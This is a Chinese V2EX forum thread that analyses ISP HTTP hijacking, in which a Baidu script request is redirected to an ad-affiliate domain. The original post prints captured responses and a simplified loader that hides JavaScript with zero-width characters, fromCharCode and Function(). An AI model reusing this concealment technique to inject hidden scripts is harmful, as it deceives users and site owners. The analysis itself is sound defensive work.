移动欺负百度,用 fromCharCode 和字符替换隐藏自己,防不胜防

2016-09-12 17:48:16 +08:00
 iugo

河南铁通,目前已经合并入河南移动。

使用河南铁通的宽带,目前遇到两个问题:

  1. DNS 劫持和污染
  2. HTTP 攻击

使用铁通服务很久了,最开始没有这样的中间人攻击,现在都出现了。在网上搜索,和广东移动的攻击很类似,猜测是有组织的。

DNS 劫持主要是让特定域名(主要是不存在的)转向到一个铁通的广告页面。 DNS 污染主要通过对 53 端口的攻击。

HTTP 攻击的现象主要体现是访问京东时,大概有 30% 以上的概率跳到广告联盟相关链接,然后跳回首页。在访问某件具体商品时很烦,总是打不开商品,被跳回首页。

刚开始以为这个工具是针对京东,按照以前的经验,从页面源码入手,没发现什么特别的。然后抓包仔细研究。

发现目前 HTTP 攻击的流程大概是这样的:

  1. 攻击者先找到一个具有普适性的链接,于是瞄准了百度。比如京东页面中包含一个百度相关 JS 代码会被动态插入,当协议不为 https 时,这段代码的值为 http://push.zhanzhang.baidu.com/push.js
  2. 进行劫持,将 http://push.zhanzhang.baidu.com/push.js 的返回信息修改为这样:
HTTP/1.1 302 Temporarily Moved
Location: http://0.ebuy234.com/41.s.1.jpg
Cache-Control: nocache
Pragma: no-cache
Expires: -1
Connection: close
Content-Type: text/html
Content-length: 0
  1. ebuy234.com 这个域名很可能就是攻击者拥有的。41.s.1.jpg 这个文件名也是有意义的,41.s.1 就是在广告联盟中的账号。
  2. 这是查看 http://0.ebuy234.com/41.s.1.jpg 这个请求的返回信息:
HTTP/1.1 200 OK
Server: marco/0.18
Date: Mon, 12 Sep 2016 09:14:14 GMT
Content-Type: text/javascript; charset=utf-8
Connection: keep-alive
Vary: Accept-Encoding
X-Source: U/200
X-Cache: MISS from mix-hz-fdi-171; HIT(R) from cmn-js-czx-132
Cache-Control: max-age=636911
ETag: W/"e90cbe32b9476b0b5141b1dfa1efe4e9"
Expires: Thu, 15 Sep 2016 22:41:39 GMT
Last-Modified: Thu, 25 Aug 2016 05:22:20 GMT
X-Request-Id: 807dd97c8bdb2fc7417702ae3d8ac9cb; d870a4b7c963d11713631a13c91513de
Age: 471141
X-Mirror-Request-Id: 156a2b2ac6c56484a81210e3894023a9
Via: T.101168.M.1, T.596.M.1, V.ctn-zj-hgh-092, S.mix-hz-fdi-170, V.mix-hz-fdi-171, T.165133.R.1, M.cmn-js-czx-132
Content-Length: 18169

Function('‌‍​‌‌‍'.replace(/..../g,function($){return String.fromCharCode(parseInt($.replace(/./g,function($){return {'​':'00','‌':'01','‍':'10','':'11'}[$]}),2))}))()

这就是关键了,字符替换。以上代码已经简化。

  1. 然后再次载入一个功能类似的文件 http://v.usee123.com/41_s_1.json
  2. 最后就是跳转到广告联盟的链接了: p.egou.com
5170 次点击
所在节点    程序员
15 条回复
Cu635
2016-09-12 18:14:04 +08:00
狗咬狗,不存在谁欺负谁的问题。
yonka
2016-09-12 18:57:22 +08:00
最近感觉运营商已经丧病了...
amaranthf
2016-09-12 18:59:46 +08:00
还是我 https 靠谱……
wjm2038
2016-09-12 19:31:27 +08:00
神奇的运营商
ixufuyang
2016-09-12 19:39:40 +08:00
直接换了 DNS 了事
mytsing520
2016-09-12 20:32:28 +08:00
@ixufuyang 很明显路由层面的强行塞入,换 DNS 无济于事
rwalle
2016-09-12 21:00:09 +08:00
移动也不是第一次干这种事,我见得多了
很简单,先打 10086 投诉,告诉你有证据,八成他们不管,然后投诉到工信部,移动会跪着来求你然后给你单独屏蔽广告
还可以考虑顺便向百度反映,因为以前有运营商被告的情况( http://media.people.com.cn/GB/40606/11424996.html ),虽然说百度的客服约等于没有
iugo
2016-09-12 22:55:58 +08:00
通过这个案例,我还是有学到东西的,比如:

http://www.cnblogs.com/52cik/p/js-hide-code.html
sxm
2016-09-12 23:37:13 +08:00
这劫持的还是有点“水平”,知道隐藏自己。我这电信 DNS 劫持错误域名到软色情广告页,投诉了几次后,还是不承认劫持做广告。但是背后却把广告承接页删了,单独替我把错误域名返回的广告 ip 屏蔽了。
https://www.v2ex.com/t/285169
notre
2016-09-13 02:36:41 +08:00
不用 https ,怪我咯?
wyntergreg
2016-09-13 08:53:27 +08:00
联通也干这个
yejinmo
2016-09-13 09:11:18 +08:00
河北移动

使用手机网络地址栏百度搜索(别说我为啥不用谷歌, SS 太费电了)的时候,总是会跳到百度首页,并且地址栏会跟上一个 /?from=1012585p

WiFi 网络没事

怀疑是运营商干的好事儿,该如何办
Khlieb
2016-09-13 09:33:51 +08:00
@yonka @wjm2038 有人塞钱了
stevegy
2016-09-13 10:00:41 +08:00
直接用 Firewall Drop outbound 到这些地址到访问,然后能用 https 的都用 https ,京东的 https 做得不彻底,有时候点几个页面又跳到 http 去了。
全 Internet HTTPS 已经是标准安全建议了。
魔都电信最近又开始了,还是 HTTP iframe 嵌入,我还剩下个 new.163.com 只能用 HTTP 。。。
直接干掉这个网段: iptables -A OUTPUT -d 61.152.73.0/24 -j DROP 至少不辣眼睛了
URgoy
2016-09-13 17:57:32 +08:00
一楼说的在理

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/305736

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX